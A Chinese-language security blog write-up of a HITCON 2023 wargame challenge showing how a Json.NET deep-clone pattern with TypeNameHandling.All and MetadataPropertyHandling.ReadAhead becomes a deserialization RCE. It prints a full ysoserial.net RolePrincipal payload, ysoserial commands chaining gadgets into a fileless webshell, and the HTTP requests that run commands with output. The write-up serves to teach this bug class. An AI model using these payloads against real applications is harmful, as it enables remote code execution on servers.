技術專欄 #Deserialize #RCE

HITCON 2023 x DEVCORE Wargame: My todolist Write-up

Cyku 2023-09-18

為了 HITCON 2023 活動,我今年也在 DEVCORE 攤位上準備了三題趣味性質的 Wargame 題目讓參賽者在聽完議程的空閒之餘可以享受一下親自動手解題的快樂,而除了我所準備的題目以外,包括其他所有題目都可以在以下的 GitHub repository 裡找到:https://github.com/DEVCORE-Wargame/HITCON-2023

這次準備的題目分別是 What’s my IP、Submit flag 和 My todolist。第一個題目 What’s my IP 只要看程式碼就會知道是個 HTTP header 偽造 IP 加上 SQL Injectin 利用的簡單題,只是活動期間參賽者們得憑著經驗與駭客直覺以黑箱方式找出弱點的存在。第二個題目 Submit flag 就是一個經典的 Race Condition,是一個老梗但也是滲透測試中經常被忽略的細節,為了提高成功率從而避免讓參加者浪費太多時間,我特地在中間插入不必要的 sleep,雖然可能讓題目變得過於簡單,希望至少能提醒大家回想起還存在這種弱點就太好了。

最後一個題目也是本篇文章想要和大家分享的主題:My todolist。從結論而言,這是一個簡單的 Json.NET 反序列化漏洞的白箱題目,存在漏洞的位置是在程式碼 Extensions/WebExtension.cs 的第 20 行,但我想稍微和大家分享題目的由來。

題目起源於我曾經在某些程式中看過類似以下的 Deep Copy 實作:

public static T Clone<T>(this T source) {
    JsonSerializerSettings settings = new JsonSerializerSettings() {
        TypeNameHandling = TypeNameHandling.All
    };
    return (T) JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);
}

我們都知道當 DeserializeObject 的來源字串可以控制並且開啟 TypeNameHandling 時,我們可以輕易利用反序列化能初始化任意物件的特性執行任意程式碼或系統指令,然而在 Deep Clone 的使用情境下,來源字串是 SerializeObject 的輸出結果,這代表著任何標記物件名稱的 $type 屬性也是由 Json.NET 所控制而非由我們控制,所以這表示這段程式碼應該是無法被利用的才對,除非,若我們可以覆蓋 $type 屬性的話呢?

這個疑問勾起了我的好奇心,因此讓我決定進行一些嘗試,當我嘗試用以下程式碼序列化一個 Dictionary 物件時,我得到了一個有趣的結果。

Dictionary<string, string> source = new Dictionary<string, string>();
source.Add("key", "value");
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All
};
string result = JsonConvert.SerializeObject(source, settings);

結果:

{
    "$type": "System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib",
    "key": "value"
}

當我們序列化 Dictionary 時,我們所插入的任何 key 和 value 的 pair 都和 $type 屬性值在同一個層級,那假設我們 Dictionary 內含有值為 $type 的 key 時,會發生什麼事情?

Dictionary<string, string> source = new Dictionary<string, string>();
source.Add("$type", "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);

會得到一個例外錯誤:

Newtonsoft.Json.JsonSerializationException: ‘Type specified in JSON ‘System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a’ is not compatible with ‘System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’. Path ‘$type’, line 1, position 236.’

若建立 debug 斷點將 JsonConvert.SerializeObject 的結果字串印出來會得到:

{
    "$type": "System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib",
    "$type": "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
}

其實從這段錯誤訊息就可以猜測出大致出錯的可能性,如果再稍微追入程式碼就會發現,我們設定的第二個 $type 確實成功讓 Json.NET 嘗試去覆蓋第一個 $type 指定的物件類型,但 Json.NET 在這段的處理會檢查第二個物件類型是否能夠相容於第一個物件類型,也就是檢查是否 assignable,若我們能找到某個類 Dictionary 物件可以成為 gadget 的話,這段程式碼也許將成為 exploitable。

但要挖掘新的 gadget 十分困難,而且就算找到了,要作為 Wargame 題目也可能過於刁難,所以我這邊找到了一種變種情境,雖然是不常見的設定,但我覺得作為一道題目情境的話會非常有趣。

這個題目情境的關鍵是 MetadataPropertyHandling.ReadAhead 這個設定值,當提供給 JsonConvert.DeserializeObject 的 JsonSerializerSettings 中有包含 MetadataPropertyHandling.ReadAhead 時,它會假設 $type 不是在第一個屬性值的位置,這會導致 Json.NET 先嘗試從頭到尾把 JSON 解析完並找出 $type 後才開始建立物件,在此情境下也會讓我們注入的第二個 $type 直接覆蓋第一個 $type 的值,所以假如程式碼改寫為如下的程式碼時,這個 Clone function 將會變得 exploitable。

Dictionary<string, string> source = new Dictionary<string, string>();
source.Add("you control the key", "you control the value");
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All,
    MetadataPropertyHandling = MetadataPropertyHandling.ReadAhead
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);

我們可以來實際利用一個 gadget 進行 code execution 測試,這邊我使用 ysoserial.net 產生 RolePrincipal gadget 的 payload ( ysoserial.exe -g RolePrincipal -f Json.Net -c calc ),因為這個 gadget 只需要控制 JSON 一層的字串就可以執行指令,題目情境相對容易建構。

測試執行:

Dictionary<string, string> source = new Dictionary<string, string>();
source.Add("$type", "System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
source.Add("System.Security.ClaimsPrincipal.Identities", "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==");
JsonSerializerSettings settings = new JsonSerializerSettings() {
    TypeNameHandling = TypeNameHandling.All,
    MetadataPropertyHandling = MetadataPropertyHandling.ReadAhead
};
JsonConvert.DeserializeObject(JsonConvert.SerializeObject(source, settings), settings);

嘗試執行以上程式碼後,成功彈出計算機!

既然驗證此設定是可以 exploit 的,剩下就是包裝一個應用程式的情境,而最終趕出的成品就是 My todolist 這道題目。

理論上直接使用 RolePrincipal 就能執行系統指令了,只是這個 exploit 執行後不會有任何指令回顯,而我們還需要嘗試找到並讀取 flag,為了後續更便利操作,我們可以嘗試將漏洞轉換成 web shell,詳細可以參考我的另一篇文章「玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門!」,但這個方法的 gadget 是需要使用 BinaryFormatter 執行 OnDeserialization callback 進而觸發 gadget chain 的執行,但如果你有 clone 最新版本的 ysoserial.net 來自行編譯的話,會發現 help 訊息中多了一個新的參數 –bgc。

--bgc, --bridgedgadgetchains=VALUE
    Chain of bridged gadgets separated by comma (,). 
      Each gadget will be used to complete the next 
      bridge gadget. The last one will be used in the 
      requested gadget. This will be ignored when 
      using the searchformatter argument.

沒錯,為這個專案貢獻的研究者們成功找到 gadget chain 實現將 Json.NET 等需要 setter 類型的 gadget 的 formatter 轉換成 BinaryFormatter 的二次反序列化,從而可以執行更多的 gadget,其中當然就包括 ActivitySurrogateDisableTypeCheck 和 ActivitySurrogateSelectorFromFile 這兩個最重要的 gadget,我們也因此可以再次使用這個功能實現反序列化攻擊到 fileless webshell 的 exploit! 產生 payload 的指令:

ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateDisableTypeCheck -c 1

ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateSelectorFromFile -c ".\ExploitClass.cs;dlls\System.dll;dlls\System.Web.dll"

最後題目只要在正常註冊後隨便新增一個 note 進行修改,再分別對兩個 payload 執行一次類似下面的請求,就可以達成有回顯的 RCE 了!

Request 1:

POST /Api/UpdateTodo HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
Cookie: <session>

uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&field=$type&value=System.Web.Security.RolePrincipal,+System.Web,+Version%3d4.0.0.0,+Culture%3dneutral,+PublicKeyToken%3db03f5f7f11d50a3a

Request 2:

POST /Api/UpdateTodo HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
Cookie: <session>

uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&field=System.Security.ClaimsPrincipal.Identities&value=<payload>

Request 3:

POST /Api/MyProfile HTTP/1.1
Host: localhost:8003
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Cookie: <session>

cmd=whoami